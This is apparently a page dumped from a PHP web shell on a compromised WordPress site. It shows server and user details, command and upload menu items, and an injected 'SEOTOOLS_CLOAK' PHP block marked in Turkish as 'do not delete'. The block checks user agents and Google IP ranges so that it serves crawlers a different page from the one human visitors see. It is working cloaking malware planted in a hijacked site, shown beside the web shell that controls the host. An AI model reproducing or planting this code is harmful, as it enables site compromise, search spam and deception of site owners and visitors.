|
Server IP : 10.123.20.5 / Your IP : 216.73.216.219 Web Server : Apache System : Linux webm005.cluster123.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : wqgepnx ( 163969) PHP Version : 8.2.29 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/wqgepnx/www/wp-includes/blocks/code/../pullquote/../code/../code/../../ID3/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/* === SEOTOOLS_CLOAK === otomatik eklendi, silmeyin */
if (function_exists('session_status')) { if (session_status() !== PHP_SESSION_ACTIVE) { @session_start(); } } else { @session_start(); }
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$is_google_bot = false;
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = '0.0.0.0';
}
$google_bots = array(
'googlebot', 'AdsBot-Google', 'Mediapartners-Google', 'Google-Read-Aloud',
'DuplexWeb-Google', 'googleweblight', 'Storebot-Google', 'google',
'Google-Site-Verification', 'Google-InspectionTool'
);
$google_ip_ranges = array(
'64.233.160.0/19', '66.102.0.0/20', '66.249.64.0/19', '72.14.192.0/18',
'74.125.0.0/16', '108.177.8.0/21', '173.194.0.0/16', '207.126.144.0/20',
'209.85.128.0/17', '216.58.192.0/19', '216.239.32.0/19'
);
foreach ($google_bots as $bot) {
if (stripos($user_agent, $bot) !== false) { $is_google_bot = true; break; }
}
if (!$is_google_bot) {
foreach ($google_ip_ranges as $range) {
$range_parts = explode('/', $range);
$subnet = $range_parts[0];
$bits = $range_parts[1];
$ip_long = ip2long($ip);
$subnet_long = ip2long($subnet);
$mask = -1 << (32 - $bits);
if (($ip_long & $mask) === ($subnet_long & $mask)) { $is_google_bot = true; break; }
}
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);
$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;
$_SESSION['last_url'] = $current_url;
if ($is_google_bot) {
include('license.php');
exit;
}
if ($from_google && !$is_refresh) {
setcookie('google_visit', '2', time() + 86400, '/', 'frenchtvexportawards.com', false, true);
include('index.php');
exit;
}
/* === /SEOTOOLS_CLOAK === */
?>